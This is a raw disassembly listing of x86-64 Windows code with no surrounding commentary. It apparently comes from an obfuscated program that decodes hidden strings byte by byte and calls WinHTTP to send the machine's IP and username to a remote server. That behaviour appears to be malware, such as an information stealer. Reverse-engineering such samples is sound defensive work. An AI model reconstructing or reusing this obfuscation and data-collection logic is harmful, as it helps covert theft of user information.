lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014aa6d
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14014aa36
mov r8b, r11b
cmp r10, r11
ja 0x14014aba5
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x14014a1e5
lea ecx, [r8 + 0x3b]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x63
jmp 0x14014a240
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014aa20
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014aa08
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14014a9ef
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014a9d4
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14014a9bb
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014a9a0
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14014a986
lea rax, [r10 + rdi]
cmp rax, r11
jbe 0x14014a6f8
lea rcx, [r10 + 0x28]
cmp rdi, rcx
je 0x14014a6df
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14014a6c0
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x14014a6a1
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x14014a684
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14014a669
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x14014a64e
lea rax, [r10 + 0x1000]
cmp rdi, rax
je 0x14014a635
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014a616
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14014a5f7
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x14014a24d
mov rdi, rcx
lea r10, [rcx + 0x200]
lea rcx, [r10 + 0x7a]
cmp rdi, rcx
jb 0x14014ab8a
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14014ab6f
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x14014a43a
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x14014a421
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14014a408
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14014a5b0
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x14014a56b
lea rax, [r10 + 0x64]
cmp rdi, rax
jb 0x14014a532
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14014a512
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x14014a24d
mov rdi, rcx
lea r10, [rcx + 2]
lea rax, [r10 + 8]
cmp rcx, rax
ja 0x14014a4f7
lea rax, [r10 + 0x200]
cmp rcx, rax
ja 0x14014a4dc
lea rax, [r10 + 0x3e8]
cmp rcx, rax
ja 0x14014a4ce
lea rax, [r10 + 3]
cmp rcx, rax
ja 0x14014a4c0
lea rax, [r10 + 4]
cmp rcx, rax
ja 0x14014a4b2
lea rax, [r10 + 0x42]
cmp rcx, rax
ja 0x14014a499
lea rax, [r10 + 0x64]
cmp rcx, rax
ja 0x14014a47e
lea rax, [r10 + 0x2a]
cmp rcx, rax
ja 0x14014a463
lea rax, [r10 + 1]
cmp rcx, rax
ja 0x14014a455
lea rax, [r10 + 0x20]
cmp rcx, rax
ja 0x14014a24d
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x28]
jmp 0x14014a24d
lea ecx, [r8 + 0x25]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 3
jmp 0x14014a240
lea ecx, [r8 + 7]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x31
jmp 0x14014a1bd
sub r8b, 0x17
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x5f
jmp 0x14014a14c
lea edx, [r8 - 0x28]
mov ecx, ntohs
jmp 0x14014a812
sub r8b, 0x46
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x16
jmp 0x14014aa68
sub r8b, 0x64
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x44
jmp 0x14014aa81
lea ecx, [r8 + 0x7e]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r12b
jmp 0x14014aaa0
add r8b, 0x60
mov ecx, Ordinal_50
jmp 0x14014a7a0
add r8b, 0x42
mov ecx, Ordinal_27
jmp 0x14014a778
lea edx, [r8 + 0x24]
mov ecx, 2
jmp 0x14014a752
add r8b, 6
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x2a
jmp 0x14014ab19
sub r8b, 0x18
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x58
jmp 0x14014ab5b
sub r8b, 0x63
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x4b
mov byte [rbp + r11 + 0x30], bl
jmp 0x14014ab67
lea ecx, [r8 + 0x7f]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x79
cmp r10, 0x64
jb 0x14014a528
lea ecx, [r8 - 6]
mov al, cl
and al, r9b
mov edx, reloc.WS2_32.dll_setsockopt
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea ebx, [rdx + rdx]
jmp 0x14014aa4d
lea ecx, [r8 + 0x61]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x59
cmp rdi, 5
jae 0x14014a956
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x14014a8b6
lea edx, [r8 - 0x32]
mov al, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014a546
lea ecx, [r8 + 0x43]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x2b
lea rax, [r10 + rdi]
cmp rax, r15
je 0x14014a971
lea rax, [r10 + 0x80]
cmp rdi, rax
jbe 0x14014a826
lea ecx, [r8 - 0x6d]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 5
jmp 0x14014a57f
add r8b, 0x62
mov al, r8b
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014ab5b
add r8b, 0x44
mov al, r8b
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014ab19
lea ecx, [r8 + 0x26]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xa
jmp 0x14014aaf1
add r8b, 8
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x38
jmp 0x14014aac1
sub r8b, 0x16
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x66
jmp 0x14014aabe
lea edx, [r8 - 0x34]
mov al, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014aaa0
sub r8b, 0x52
mov al, r8b
and al, r9b
mov ecx, Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014aa81
sub r8b, 0x70
mov al, r8b
and al, r9b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014aa68
lea ecx, [r12 + r8]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1e
jmp 0x14014aa4d
lea rax, [r10 + 0x20]
cmp rdi, rax
jae 0x14014a71a
lea ecx, [r8 + 0xf]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x69
jmp 0x14014a5c4
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014a73e
add r8b, 0x76
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x3a
jmp 0x14014ab5b
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014a766
mov dl, r8b
sub dl, r13b
mov ecx, reloc.WS2_32.dll_recvfrom
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014aaf1
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014a78e
sub r8b, 0x30
mov ecx, Ordinal_41
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014aac1
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014a7b6
sub r8b, 0x12
mov ecx, 0x3f
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014aabe
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14014a7d8
lea ecx, [r8 + 0xc]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x54
jmp 0x14014aaa0
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14014a7fc
add r8b, 0x2a
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x26
jmp 0x14014aa81
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14014a5c4
lea edx, [r8 + 0x66]
mov ecx, reloc.WLDAP32.dll_Ordinal_27
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014aa4d
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014a848
lea ecx, [r8 - 0x4f]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x29
jmp 0x14014aa4d
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014a86c
sub r8b, 0x13
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x7b
jmp 0x14014aa81
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014a88e
lea ecx, [r8 + 0xb]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x4d
jmp 0x14014aaa0
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014a57f
add r8b, 0x47
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0xf
jmp 0x14014aac1
jne 0x14014a8d3
sub r8b, 0x14
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x74
jmp 0x14014ab5b
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014a8f7
add r8b, 0xa
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x46
jmp 0x14014ab19
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014a919
lea ecx, [r8 + 0x28]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
jmp 0x14014aaf1
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014a930
add r8b, 0x64
mov ecx, Ordinal_35
jmp 0x14014a7a0
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14014a546
lea ecx, [r8 - 0x24]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 4
jmp 0x14014aa4d
lea edx, [r8 + 0x18]
mov al, dl
and al, r9b
mov cl, r9b
sub cl, al
add cl, 0x2c
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x14014aaa0
lea ecx, [r8 + 0x36]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [rcx - 0x7a]
jmp 0x14014aaf1
add r8b, 0x49
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
inc bl
jmp 0x14014ab5b
add r8b, 0x2b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x2d
jmp 0x14014ab19
lea ecx, [r8 + 0xd]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x5b
jmp 0x14014aaf1
sub r8b, 0x2f
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x49
jmp 0x14014aabe
lea ecx, [r8 - 0x4d]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x1b
jmp 0x14014aaa0
sub r8b, 0x6b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x13
jmp 0x14014aa81
lea ecx, [r8 + 0x59]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x6f
jmp 0x14014aa4d
mov r8b, r11b
lea ecx, [r8 + 0x1d]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x35
add r8b, 9
mov al, r9b
and al, r8b
add al, al
sub r9b, al
sub r9b, 0x3f
add r9b, r8b
mov byte [rbp + r11 + 0x30], r9b
inc r10
jmp 0x14014aa81
lea ecx, [r11 - 0x1f]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x27
dec r11
jmp 0x14014ab67
mov r8b, r11b
lea ecx, [r8 - 0x3d]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x55
add r8b, 0x27
mov al, r9b
and al, r8b
add al, al
sub r9b, al
sub r9b, 0x11
add r9b, r8b
add r9b, bl
mov byte [rbp + r11 + 0x30], r9b
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x14014ab67
movabs rcx, 0x5a9067f3926bc269
add rcx, r11
and dl, cl
add dl, dl
mov bl, r9b
sub bl, dl
add bl, 0x21
add bl, cl
mov r8b, r11b
add r8b, 0x45
mov al, r8b
and al, r9b
add al, al
sub r8b, al
add r8b, 0x1d
add r8b, r9b
movzx eax, r8b
mov byte [rbp + r11 + 0x30], al
inc r10
add rax, r10
sub r11, rax
lea ecx, [r11 + 0x54]
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r9b
mov byte [rbp + r11 + 0x30], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x14014ab5b
movabs rax, 0x4b6275b187e50a2d
add rax, r11
and dl, al
add dl, dl
sub r9b, dl
lea ebx, [rax + r9]
sub bl, 0x3b
movzx eax, byte [rbp + r11 + 0x30]
add rax, r10
add r11, rax
inc r11
jmp 0x14014a139
sub r8b, 0x35
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x73
jmp 0x14014a136
sub r8b, 0x53
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x45
jmp 0x14014a126
lea rdx, [rbp + 0x160f244]
jmp 0x14014abbb
lea rdx, [rbp + 0x82a053]
jmp 0x14014abbb
lea rdx, [rbp + 0x30]
mov dword [rsp + 0x30], 0x800000
xor ebx, ebx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rsi
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rsp + 0x48], rax
lea r8, [0x14015e22c]
mov rdx, qword [rsp + 0x58]
lea rcx, [rbp + 0x50]
call fcn.1400dc198
nop
lea r8, str.ip:
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.1400dc138
nop
lea r8, [rbp + 0x558]
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.140057c30
nop
lea r8, [0x14015e22c]
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.1400dc138
nop
lea r8, str.Username:
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.1400dc138
nop
lea r8, [rbp + 0x518]
mov rdx, rax
lea rcx, [rbp + 0x598]
call fcn.140057c30
nop
lea rcx, [rbp + 0xd0]
call fcn.140051c9c
nop
lea rcx, [rbp + 0xb0]
call fcn.140051c9c
nop
lea rcx, [rbp + 0x90]
call fcn.140051c9c
nop
lea rcx, [rbp + 0x70]
call fcn.140051c9c
nop
lea rcx, [rbp + 0x50]
call fcn.140051c9c
mov byte [rbp + 0x310], reloc.WS2_32.dll_listen
mov byte [rbp + 0x311], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x312], Ordinal_50
mov byte [rbp + 0x313], reloc.WS2_32.dll_recv
mov byte [rbp + 0x314], Ordinal_33
mov byte [rbp + 0x315], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0x316], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x317], 0xdc
mov byte [rbp + 0x318], Ordinal_211
mov byte [rbp + 0x319], Ordinal_217
mov byte [rbp + 0x31a], 0xcc
mov byte [rbp + 0x31b], Ordinal_60
mov byte [rbp + 0x31c], Ordinal_27
mov byte [rbp + 0x31d], 4
mov byte [rbp + 0x31e], WSASetLastError
mov byte [rbp + 0x31f], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x320], Ordinal_27
mov byte [rbp + 0x321], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x322], WSASetLastError
mov byte [rbp + 0x323], 0xdb
mov byte [rbp + 0x324], reloc.WS2_32.dll_recv
mov byte [rbp + 0x325], 6
mov byte [rbp + 0x326], 9
mov byte [rbp + 0x327], 3
mov byte [rbp + 0x328], Ordinal_27
mov byte [rbp + 0x329], 9
mov byte [rbp + 0x32a], 3
mov byte [rbp + 0x32b], 2
mov byte [rbp + 0x32c], bl
mov byte [rbp + 0x32d], Ordinal_211
mov byte [rbp + 0x32e], gethostname
mov byte [rbp + 0x32f], ntohs
mov byte [rbp + 0x330], 2
mov byte [rbp + 0x331], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0x332], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x333], 0x7f
mov byte [rbp + 0x334], WSAStartup
mov byte [rbp + 0x335], WSAStartup
mov byte [rbp + 0x336], 0xa8
mov byte [rbp + 0x337], 0xb0
mov byte [rbp + 0x338], Ordinal_143
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x339], xmm0
mov dword [rbp + 0x349], eax
mov word [rbp + 0x34d], ax
mov byte [rbp + 0x34f], al
mov r14b, 0x77
mov bl, byte [rsp + 0x40]
call fcn.140158170
mov rdi, qword [rax]
call fcn.140158178
mov r10, qword [rax]
xor r11d, r11d
cmp r11, 0x40
jae 0x14014b7e5
movzx r8d, byte [rbp + r11 + 0x310]
mov edx, r8d
cmp rdi, r11
ja 0x14014b7dc
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14014ae44
movabs rcx, 0x641c10c46ecf891d
add rcx, r11
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x35
jmp 0x14014ae71
je 0x14014b76b
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014b6f4
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014b6ca
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14014b6ad
mov r9b, r11b
cmp r10, r11
ja 0x14014b7d3
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x14014ae9c
lea ecx, [r9 + 0x61]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x59
jmp 0x14014aed0
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014b675
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014b65d
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014b648
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14014b62d
lea rax, [r10 + rdi]
cmp rax, r11
jbe 0x14014b394
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x14014b37c
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14014b35d
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x14014b342
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14014b325
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014b306
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14014b2eb
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14014b2ce
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14014b2b3
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14014b294
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14014aedd
lea rdi, [r10 + 0x64]
lea r10, [rdi + 3]
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14014b7b8
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x14014b79d
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x14014b0c9
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x14014b0b0
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14014b097
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x14014b24e
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x14014b20d
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x14014b1d2
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14014b1af
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14014aedd
lea rdi, [r10 + 0x10]
lea r10, [rdi + 0x41]
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x14014b1a1
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14014b187
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14014b179
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x14014b15e
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x14014b150
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14014b137
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x14014b11c
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x14014b0fd
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14014b0e4
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x14014aedd
lea rdi, [r10 + 5]
lea r10, [rdi + 0x3e8]
jmp 0x14014aedd
lea ecx, [r9 - 0x41]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x39
jmp 0x14014aed0
lea ecx, [r9 - 0x7b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x5d
jmp 0x14014ae74
add r9b, 0x4b
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0xd
jmp 0x14014ae10
lea ecx, [r9 + 8]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x14014b68a
sub r9b, 0x32
mov al, r9b
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, r8b
jmp 0x14014b6a8
sub r9b, 0x6c
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0xc
jmp 0x14014b6c2
lea ecx, [r9 + 0x5a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x76
jmp 0x14014b5ea
add r9b, 0x20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14014b30f
sub r9b, 0x1a
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0x4a
jmp 0x14014b6e2
lea edx, [r9 - 0x54]
mov ecx, Ordinal_41
jmp 0x14014b2d7
add r9b, r12b
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0x1e
jmp 0x14014b73d
add r9b, 0x38
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14014b29d
sub r9b, 0x59
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
add bl, 0x6f
mov byte [rbp + r11 + 0x310], bl
jmp 0x14014b795
lea ecx, [r9 + 0x6d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 5
cmp r10, 0x64
jb 0x14014b1c5
mov dl, r9b
sub dl, r12b
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14014b68a
lea ecx, [r9 + 0x33]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x65
cmp rdi, r15
jae 0x14014b5d2
lea rax, [r10 + 9]
cmp rdi, rax
jbe 0x14014b51e
lea edx, [r9 + 0x4a]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 6
add bl, dl
jmp 0x14014b1e6
lea ecx, [r9 - 7]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x31
lea rax, [r10 + rdi]
cmp rax, 0x2a
je 0x14014b610
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x14014b46c
lea edx, [r9 - 0x17]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5f
add bl, dl
jmp 0x14014b221
add r9b, 0x46
mov ecx, ntohs
mov al, r9b
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, r8b
jmp 0x14014b786
add r9b, 0xc
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0x54
jmp 0x14014b73d
lea edx, [r9 - 0x2e]
mov ecx, reloc.WLDAP32.dll_Ordinal_33
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014b712
sub r9b, 0x68
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0x28
jmp 0x14014b6e2
add r9b, 0x5e
mov ecx, gethostname
mov al, r9b
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, r8b
jmp 0x14014b6df
lea edx, [r9 + 0x24]
mov al, dl
and al, r8b
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014b5ea
sub r9b, 0x16
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x66
jmp 0x14014b6c2
sub r9b, 0x50
mov al, r8b
and al, r9b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014b6a8
lea edx, [r9 + 0x76]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3a
jmp 0x14014b688
lea rcx, [r10 + 6]
cmp rdi, rcx
jae 0x14014b3b7
lea edx, [r9 + 0x1d]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x35
add bl, dl
jmp 0x14014b262
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014b3db
sub r9b, 0x3e
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, r13b
jmp 0x14014b786
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014b3ff
add r9b, 0x70
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x10
jmp 0x14014b6e2
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014b420
lea edx, [r9 - 0x1c]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3c
jmp 0x14014b5e8
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014b448
add r9b, 0x1e
mov al, r8b
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014b6c2
cmp rdi, rcx
jne 0x14014b262
add r9b, 0x58
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x68
jmp 0x14014b6a8
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014b48d
lea edx, [r9 + 0x23]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0xb
jmp 0x14014b688
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014b4b1
add r9b, 0x5d
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x75
jmp 0x14014b6a8
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014b4d5
add r9b, 0xb
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x4d
jmp 0x14014b6df
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014b4f6
lea edx, [r9 + 0x7f]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x79
jmp 0x14014b626
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14014b221
sub r9b, 0xd
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x5b
